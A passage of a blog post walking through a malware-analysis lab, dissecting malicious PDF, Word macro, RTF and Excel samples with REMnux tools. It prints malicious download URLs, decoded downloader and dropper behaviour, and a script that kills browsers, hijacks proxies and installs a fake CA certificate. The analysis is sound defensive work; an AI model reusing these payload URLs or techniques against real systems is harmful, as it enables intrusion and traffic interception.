&lt;pre class="highlight shell"&gt;&lt;code&gt;pdf-parser.py page.pdf &lt;span class="nt"&gt;--object&lt;/span&gt; 1 &lt;span class="nt"&gt;--filter&lt;/span&gt; &lt;span class="nt"&gt;--raw&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; page.txt
scite page.txt &amp;amp;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The stream contained an XFA form with JavaScript defining a &lt;code&gt;shellcode&lt;/code&gt; variable using &lt;code&gt;\u&lt;/code&gt; Unicode encoding.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 4 — Extract shellcode:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Locate backslash-Unicode encoded strings&lt;/span&gt;
base64dump.py page.txt &lt;span class="nt"&gt;-e&lt;/span&gt; bu

&lt;span class="c"&gt;# Examine the largest string (ID: 3) — starts with \u9090 (NOP sled)&lt;/span&gt;
base64dump.py page.txt &lt;span class="nt"&gt;-e&lt;/span&gt; bu &lt;span class="nt"&gt;-s&lt;/span&gt; 3 &lt;span class="nt"&gt;-a&lt;/span&gt; | more

&lt;span class="c"&gt;# Save as binary&lt;/span&gt;
base64dump.py page.txt &lt;span class="nt"&gt;-e&lt;/span&gt; bu &lt;span class="nt"&gt;-s&lt;/span&gt; 3 &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; page-out.bin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 5 — Convert shellcode to executable:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;shellcode2exe.py page-out.bin
&lt;span class="c"&gt;# Creates: page-out.exe&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 6 — Behavioral confirmation with INetSim:&lt;/strong&gt;&lt;br&gt;
I transferred &lt;code&gt;page-out.exe&lt;/code&gt; to the Windows VM and executed it while running &lt;code&gt;fakedns&lt;/code&gt; and &lt;code&gt;INetSim&lt;/code&gt; on REMnux to simulate internet services. The executable immediately tried to connect out — confirming downloader behavior. Process Hacker showed &lt;code&gt;a.exe&lt;/code&gt; running on the desktop (the default binary INetSim serves).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# On REMnux — terminal 1&lt;/span&gt;
fakedns

&lt;span class="c"&gt;# On REMnux — terminal 2&lt;/span&gt;
inetsim

&lt;span class="c"&gt;# The shellcode attempted to download from: http://www.exploitmaze.com/01akin.exe&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Part 4: Microsoft Office Document Analysis
&lt;/h2&gt;

&lt;p&gt;Office documents with malicious macros remain one of the most common initial access vectors. I analyzed several document types, each presenting different challenges.&lt;/p&gt;

&lt;h3&gt;
  
  
  media.docm — Downloader Macro
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Extract macros with olevba.py&lt;/span&gt;
olevba.py media.docm | more
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The macro used &lt;code&gt;MSXML2.XMLHTTP&lt;/code&gt; to download &lt;code&gt;http://softtonic.biz/cr/20014.exe&lt;/code&gt; and saved it to &lt;code&gt;%AppData%\q\q.com&lt;/code&gt;, then executed it. Classic downloader behavior.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Extract the docx internals&lt;/span&gt;
unzip media.docm &lt;span class="nt"&gt;-d&lt;/span&gt; media

&lt;span class="c"&gt;# Examine the embedded image&lt;/span&gt;
feh media/word/media/image2.jpg &amp;amp;

&lt;span class="c"&gt;# Find URLs in the VBA project&lt;/span&gt;
strings vbaProject.bin | &lt;span class="nb"&gt;grep &lt;/span&gt;http
strings &lt;span class="nt"&gt;--encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;l vbaProject.bin | &lt;span class="nb"&gt;grep &lt;/span&gt;http
&lt;span class="c"&gt;# Found: softtonic.biz AND dropboxusercontent.com (interesting secondary URL)&lt;/span&gt;

&lt;span class="c"&gt;# Examine macro streams&lt;/span&gt;
oledump.py vbaProject.bin
oledump.py &lt;span class="nt"&gt;-s&lt;/span&gt; 3 &lt;span class="nt"&gt;-v&lt;/span&gt; vbaProject.bin | more
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  message.docm — Dropper with Hex-Embedded Executable
&lt;/h3&gt;

&lt;p&gt;This one was more sophisticated — the macro didn't download anything. Instead, it extracted an executable that was already embedded inside the document.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;olevba.py message.docm | more
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The macro iterated through every paragraph in the document, extracting hexadecimal characters, converting them to binary, and saving the result as &lt;code&gt;%UserProfile%\BrhotakdNdVMM.exe&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Extract and examine the document contents&lt;/span&gt;
unzip message.docm &lt;span class="nt"&gt;-d&lt;/span&gt; message
scite message/word/document.xml &amp;amp;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;document.xml&lt;/code&gt; contained hidden hexadecimal values formatted in white text (&lt;code&gt;FFFFFFFF&lt;/code&gt;) on a white background — invisible to the victim, but parseable by the macro.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Use the provided extraction script&lt;/span&gt;
python message_extract.py message.docm extracted.exe
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  invoice.doc — XOR-Obfuscated Macro
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;invoice.doc&lt;/code&gt; macro used a two-layer decoding scheme: &lt;code&gt;Hextostring&lt;/code&gt; followed by &lt;code&gt;XORI&lt;/code&gt;, which XORed two strings together. The macro also had heavy junk code with endless &lt;code&gt;GoTo&lt;/code&gt; statements and randomly-named labels.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Extract the macro&lt;/span&gt;
oledump.py invoice.doc
oledump.py invoice.doc &lt;span class="nt"&gt;-s&lt;/span&gt; 7 &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; invoice.txt
scite invoice.txt &amp;amp;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Despite the obfuscation, I could spot method names: &lt;code&gt;Open&lt;/code&gt;, &lt;code&gt;Send&lt;/code&gt;, &lt;code&gt;responseBody&lt;/code&gt; — all indicating HTTP download behavior.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Manual XOR decoding with xor-kpa.py:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;xor-kpa.py &lt;span class="nt"&gt;-x&lt;/span&gt; &lt;span class="s1"&gt;'#h#2B07372B185D480C222A1C3B3204'&lt;/span&gt; &lt;span class="s1"&gt;'#h#66546F'&lt;/span&gt;
xor-kpa.py &lt;span class="nt"&gt;-x&lt;/span&gt; &lt;span class="s1"&gt;'#h#122F20'&lt;/span&gt; &lt;span class="s1"&gt;'#h#556A74'&lt;/span&gt;
xor-kpa.py &lt;span class="nt"&gt;-x&lt;/span&gt; &lt;span class="s1"&gt;'#h#152D2404270A0924'&lt;/span&gt; &lt;span class="s1"&gt;'#h#634F42'&lt;/span&gt;
xor-kpa.py &lt;span class="nt"&gt;-x&lt;/span&gt; &lt;span class="s1"&gt;'#h#29240416204F3B3C111625021B38081522'&lt;/span&gt; &lt;span class="s1"&gt;'#h#7A4C61'&lt;/span&gt;
xor-kpa.py &lt;span class="nt"&gt;-x&lt;/span&gt; &lt;span class="s1"&gt;'#h#391F2913'&lt;/span&gt; &lt;span class="s1"&gt;'#h#6D5A6443716F69'&lt;/span&gt;
xor-kpa.py &lt;span class="nt"&gt;-x&lt;/span&gt; &lt;span class="s1"&gt;'#h#2406210B022E063F0B173F0C5F2A2D1D'&lt;/span&gt; &lt;span class="s1"&gt;'#h#7854714F55'&lt;/span&gt;
xor-kpa.py &lt;span class="nt"&gt;-x&lt;/span&gt; &lt;span class="s1"&gt;'#h#123E070240655C1B173A1600132B1F17142F0115036410135520005D18231D5C1F3216'&lt;/span&gt; &lt;span class="s1"&gt;'#h#7A4A7372'&lt;/span&gt;
xor-kpa.py &lt;span class="nt"&gt;-x&lt;/span&gt; &lt;span class="s1"&gt;'#h#1D1C3F19'&lt;/span&gt; &lt;span class="s1"&gt;'#h#495972'&lt;/span&gt;
xor-kpa.py &lt;span class="nt"&gt;-x&lt;/span&gt; &lt;span class="s1"&gt;'#h#39081E31141237140A37041C4B3F3610'&lt;/span&gt; &lt;span class="s1"&gt;'#h#655A4E754344'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Decoded results revealed: &lt;code&gt;MSXML2.XMLHTTP&lt;/code&gt;, &lt;code&gt;GET&lt;/code&gt;, &lt;code&gt;Shell.Application&lt;/code&gt;, &lt;code&gt;TEMP&lt;/code&gt;, and the download URL: &lt;code&gt;http://imperialenergy.ca/js/bin.exe&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Automated extraction with oledump.py plugin:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;oledump.py invoice.doc &lt;span class="nt"&gt;-p&lt;/span&gt; plugin_http_heuristics
&lt;span class="c"&gt;# Automatically extracted: http://imperialenergy.ca/js/bin.exe&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  poc.doc — P-Code Macros
&lt;/h3&gt;

&lt;p&gt;This was a fascinating edge case. The document contained no extractable macro &lt;em&gt;source code&lt;/em&gt; — only compiled p-code.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# olevba.py finds nothing&lt;/span&gt;
olevba.py poc.doc

&lt;span class="c"&gt;# oledump.py lists streams but no 'M' markers&lt;/span&gt;
oledump.py poc.doc

&lt;span class="c"&gt;# But stream 7 contains suspicious binary content&lt;/span&gt;
oledump.py poc.doc &lt;span class="nt"&gt;-s&lt;/span&gt; 7 | more

&lt;span class="c"&gt;# Extract and disassemble the p-code&lt;/span&gt;
pcodedmp.py &lt;span class="nt"&gt;-d&lt;/span&gt; poc.doc | more
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The p-code disassembly revealed two &lt;code&gt;ArgsCall&lt;/code&gt; instructions: one displaying a message box ("This could have been a virus!") and another using &lt;code&gt;Shell&lt;/code&gt; to execute &lt;code&gt;calc.exe&lt;/code&gt; — a classic proof-of-concept demonstrating that p-code can execute even when no source code is present.&lt;/p&gt;




&lt;h2&gt;
  
  
  Part 5: RTF Document Analysis and Shellcode Extraction
&lt;/h2&gt;

&lt;p&gt;RTF files are another popular delivery format because they can embed objects and obfuscate content through excessive nesting.&lt;/p&gt;

&lt;h3&gt;
  
  
  payment.doc — Deeply Nested RTF with Embedded Shellcode
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Count the number of {} groups — abnormally high count suggests obfuscation&lt;/span&gt;
rtfdump.py payment.doc | &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;span class="c"&gt;# Output: ~23,000 lines&lt;/span&gt;

&lt;span class="c"&gt;# List only groups containing objects&lt;/span&gt;
rtfdump.py payment.doc &lt;span class="nt"&gt;-f&lt;/span&gt; O
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Group 166 stood out: Level 5 nesting, 1,194,787 bytes, with 11,417 hex characters.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Examine the suspicious group&lt;/span&gt;
rtfdump.py payment.doc &lt;span class="nt"&gt;-s&lt;/span&gt; 166 | more

&lt;span class="c"&gt;# Convert hex to bytes and examine&lt;/span&gt;
rtfdump.py payment.doc &lt;span class="nt"&gt;-s&lt;/span&gt; 166 &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; payment-out2.txt
scite payment-out2.txt &amp;amp;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Scrolling through the hex dump in SciTE, I spotted the telltale signs: a &lt;code&gt;\x90\x90\x90\x90&lt;/code&gt; NOP sled at offset &lt;code&gt;0xBA0&lt;/code&gt;, followed by assembly instructions, and strings like &lt;code&gt;LoadLibraryA&lt;/code&gt;, &lt;code&gt;URLDownloadToFileA&lt;/code&gt;, &lt;code&gt;WinExec&lt;/code&gt;, plus the URL &lt;code&gt;http://rtnlogistics.com/nestom22.exe&lt;/code&gt; at offset &lt;code&gt;0xCB0&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Carving the shellcode:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rtfdump.py payment.doc &lt;span class="nt"&gt;-s&lt;/span&gt; 166 &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; 0xBA0:0xCE0 &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; payment-out.bin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After transferring to Windows and emulating in scdbg, the shellcode confirmed its behavior: downloading from &lt;code&gt;rtnlogistics.com&lt;/code&gt;, saving as &lt;code&gt;word.scr&lt;/code&gt;, and executing via &lt;code&gt;WinExec&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  qa.doc — RTF Dropper with jmp2it Dynamic Analysis
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;qa.doc&lt;/code&gt; file was more complex — the shellcode didn't just download a payload, it actually &lt;em&gt;created&lt;/em&gt; a fake &lt;code&gt;WINWORD.EXE&lt;/code&gt; file and embedded a multi-stage dropper inside it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Locate the suspicious group&lt;/span&gt;
rtfdump.py qa.doc
&lt;span class="c"&gt;# Group 5: large size, high nesting level&lt;/span&gt;

&lt;span class="c"&gt;# Extract the binary content&lt;/span&gt;
rtfdump.py qa.doc &lt;span class="nt"&gt;-s&lt;/span&gt; 5 &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; qa-out.bin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Finding shellcode patterns with XORSearch:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;xorsearch &lt;span class="nt"&gt;-W&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; 3 qa-out.bin
&lt;span class="c"&gt;# Results:&lt;/span&gt;
&lt;span class="c"&gt;# GetEIP pattern at 0x3B (cleartext, XOR key 0)&lt;/span&gt;
&lt;span class="c"&gt;# Similar pattern at 0x5D (XOR key F3)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;GetEIP&lt;/code&gt; pattern at &lt;code&gt;0x3B&lt;/code&gt; indicated the likely shellcode entry point.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Emulating in scdbg with proper context:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# On Windows REM Workstation with scdbg:&lt;/span&gt;
&lt;span class="c"&gt;# - Enable "Start Offset" and enter: 3B&lt;/span&gt;
&lt;span class="c"&gt;# - Enable "fopen" checkbox and point to qa.doc&lt;/span&gt;
&lt;span class="c"&gt;# - Click Launch&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The shellcode called &lt;code&gt;GetFileSize&lt;/code&gt; (returning 357ab hex = 219,051 bytes — the exact size of qa.doc), created &lt;code&gt;C:\Program Files (x86)\Microsoft Office&lt;/code&gt;, and made &lt;code&gt;ReadFile&lt;/code&gt;/&lt;code&gt;WriteFile&lt;/code&gt; calls to generate &lt;code&gt;WINWORD.EXE&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Live execution with jmp2it:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# On Windows Command Prompt:&lt;/span&gt;
jmp2it qa-out.bin 0x3B addhandle qa.doc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After 30-60 seconds, I checked &lt;code&gt;C:\Program Files (x86)\Microsoft Office&lt;/code&gt; and found the newly created &lt;code&gt;WINWORD.EXE&lt;/code&gt;. Extracting it with 7-Zip revealed three files:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;1.vbs&lt;/code&gt; — launches &lt;code&gt;test.bat&lt;/code&gt; in a hidden window&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;test.bat&lt;/code&gt; — runs &lt;code&gt;start comres.exe -p123qwe&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;comres.exe&lt;/code&gt; — a password-protected self-extracting archive containing &lt;code&gt;comres.dll&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The endgame: the DLL gets dropped into &lt;code&gt;%SystemRoot%&lt;/code&gt; (C:\Windows), where a separate attack component can load it.&lt;/p&gt;




&lt;h2&gt;
  
  
  Part 6: Excel with Embedded JavaScript and Certificate Injection
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;sbb.xlsx&lt;/code&gt; file was an unusual case — it contained an embedded JavaScript script inside an OLE2 object, designed to manipulate browser proxy settings and inject a fake SSL certificate.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# List streams&lt;/span&gt;
oledump.py sbb.xlsx
&lt;span class="c"&gt;# Found: oleObject1.bin with large stream A3 (27,162 bytes)&lt;/span&gt;

&lt;span class="c"&gt;# Get info about the stream&lt;/span&gt;
oledump.py sbb.xlsx &lt;span class="nt"&gt;-s&lt;/span&gt; A3 &lt;span class="nt"&gt;-i&lt;/span&gt;
&lt;span class="c"&gt;# Filename: sbb_ch_29.29.2929.js (what Excel saves to %Temp%)&lt;/span&gt;

&lt;span class="c"&gt;# Extract the JavaScript&lt;/span&gt;
oledump.py sbb.xlsx &lt;span class="nt"&gt;-s&lt;/span&gt; A3 &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; sbb-out.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After cleaning non-JavaScript text from the file (removing header/footer garbage), I deobfuscated it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Run through SpiderMonkey&lt;/span&gt;
js &lt;span class="nt"&gt;-f&lt;/span&gt; /usr/share/remnux/objects.js &lt;span class="nt"&gt;-f&lt;/span&gt; sbb-out.js &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; sbb-out2.js

&lt;span class="c"&gt;# The output references reverse() — try reversing all strings&lt;/span&gt;
rev sbb-out2.js &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; sbb-out3.txt
scite sbb-out3.txt &amp;amp;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The reversed strings revealed alarming capabilities:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;taskkill /F /im chrome.exe&lt;/code&gt;, &lt;code&gt;firefox.exe&lt;/code&gt;, &lt;code&gt;iexplore.exe&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Registry manipulation: &lt;code&gt;AutoConfigURL&lt;/code&gt;, &lt;code&gt;AutoDetect&lt;/code&gt; (browser proxy settings)&lt;/li&gt;
&lt;li&gt;PowerShell execution with &lt;code&gt;-ExecutionPolicy Unrestricted&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;IP detection via &lt;code&gt;api.ipify.org&lt;/code&gt; and &lt;code&gt;icanhazip.com&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Connection to an &lt;code&gt;onion.link&lt;/code&gt; URL (TOR network proxy)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Deeper analysis with box-js:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;box-js sbb-out.js &lt;span class="nt"&gt;--no-shell-error&lt;/span&gt; &lt;span class="nt"&gt;--no-file-exists&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; sbb-out4.txt
scite sbb-out4.txt &amp;amp;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;box-js emulated the script's full behavior and saved artifacts in &lt;code&gt;sbb-out.js.results/&lt;/code&gt;. The &lt;code&gt;resources.json&lt;/code&gt; showed the script generating &lt;code&gt;cert.der&lt;/code&gt; files in &lt;code&gt;%Temp%&lt;/code&gt;. Converting with OpenSSL:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;openssl x509 &lt;span class="nt"&gt;-in&lt;/span&gt; 56a9&lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="nt"&gt;-inform&lt;/span&gt; der &lt;span class="nt"&gt;-text&lt;/span&gt; &lt;span class="nt"&gt;-noout&lt;/span&gt; | more
&lt;span class="c"&gt;# Result: A fake certificate claiming to be from "COMODO Certification Authority"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The full picture: this script kills browsers, installs a fake CA certificate, redirects traffic through a TOR-proxied attacker server via proxy AutoConfig, and uses the victim's public IP as a parameter in the callback URL.&lt;/p&gt;




&lt;h2&gt;
  
  
  How to Verify Your Analysis
&lt;/h2&gt;

&lt;p&gt;Throughout this process, I used several validation techniques to confirm findings:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Verification Method&lt;/th&gt;
&lt;th&gt;When to Use&lt;/th&gt;
&lt;th&gt;Expected Confirmation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;scdbg emulation&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;After extracting shellcode&lt;/td&gt;
&lt;td&gt;API call sequence matches hypothesis (e.g., &lt;code&gt;URLDownloadToFileA&lt;/code&gt; → &lt;code&gt;WinExec&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;INetSim + fakedns&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;For downloaders&lt;/td&gt;
&lt;td&gt;Process attempts HTTP/HTTPS connection, receives default binary&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Process Hacker&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Live execution on Windows&lt;/td&gt;
&lt;td&gt;New process spawned with expected name and parent relationship&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;File command&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;After carving binaries&lt;/td&gt;
&lt;td&gt;Output matches expected type (PE, Flash, etc.)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;peframe&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;PE files post-extraction&lt;/td&gt;
&lt;td&gt;Suspicious APIs (network, process creation) present in import table&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;7-Zip extraction&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Self-extracting archives&lt;/td&gt;
&lt;td&gt;Internal structure reveals staging components (batch files, DLLs)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Hash verification&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Cross-referencing samples&lt;/td&gt;
&lt;td&gt;Same file hash across different extraction methods confirms consistency&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  What I Learned
&lt;/h2&gt;

&lt;p&gt;This deep dive reinforced several important lessons:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Layered obfuscation is the norm, not the exception.&lt;/strong&gt; Every single sample used multiple layers — hex encoding, XOR, reversed strings, tuple assignments, junk code, excessive nesting. Attackers know analysts are looking, so they add friction at every step.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Context matters for deobfuscation.&lt;/strong&gt; The &lt;code&gt;fgg.js&lt;/code&gt; script wouldn't deobfuscate correctly until &lt;code&gt;location.href&lt;/code&gt; was set to the exact URL it expected. Environmental awareness — understanding what objects and values a script relies on — is critical.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. The right tool for the right job.&lt;/strong&gt; SpiderMonkey worked for some scripts, but &lt;code&gt;box-js&lt;/code&gt; was necessary for others. &lt;code&gt;pdfid.py&lt;/code&gt; gives a quick risk assessment, but &lt;code&gt;pdf-parser.py&lt;/code&gt; does the heavy lifting. &lt;code&gt;scdbg&lt;/code&gt; is great for emulation, but &lt;code&gt;jmp2it&lt;/code&gt; reveals behavior that emulation might miss.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Network artifacts tell the full story.&lt;/strong&gt; Even the most obfuscated document ultimately needs to communicate. Traffic analysis (Fiddler, Wireshark, CapTipper) often provides the clearest view of the attacker's end goal.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. P-code is a real threat.&lt;/strong&gt; The &lt;code&gt;poc.doc&lt;/code&gt; exercise showed that documents can execute malicious macros even when no source code is extractable. Tools like &lt;code&gt;pcodedmp.py&lt;/code&gt; fill a critical gap that traditional macro extractors can't handle.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6. Certificate attacks are sophisticated.&lt;/strong&gt; The &lt;code&gt;sbb.xlsx&lt;/code&gt; sample demonstrated a multi-stage attack involving fake CA certificates, browser proxy hijacking, and TOR-concealed command-and-control — a level of sophistication that goes well beyond simple downloaders.&lt;/p&gt;




&lt;h2&gt;
  
  
  Common Mistakes to Avoid
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Mistake&lt;/th&gt;
&lt;th&gt;Why It Happens&lt;/th&gt;
&lt;th&gt;How to Avoid&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Forgetting to revert beautified scripts before debugging&lt;/td&gt;
&lt;td&gt;Beautification can break execution&lt;/td&gt;
&lt;td&gt;Always work from the original, insert your &lt;code&gt;debugger;&lt;/code&gt;, then save&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Wrong &lt;code&gt;location.href&lt;/code&gt; in objects.js&lt;/td&gt;
&lt;td&gt;Copy-pasting without checking&lt;/td&gt;
&lt;td&gt;Verify the URL matches where the script was originally hosted&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
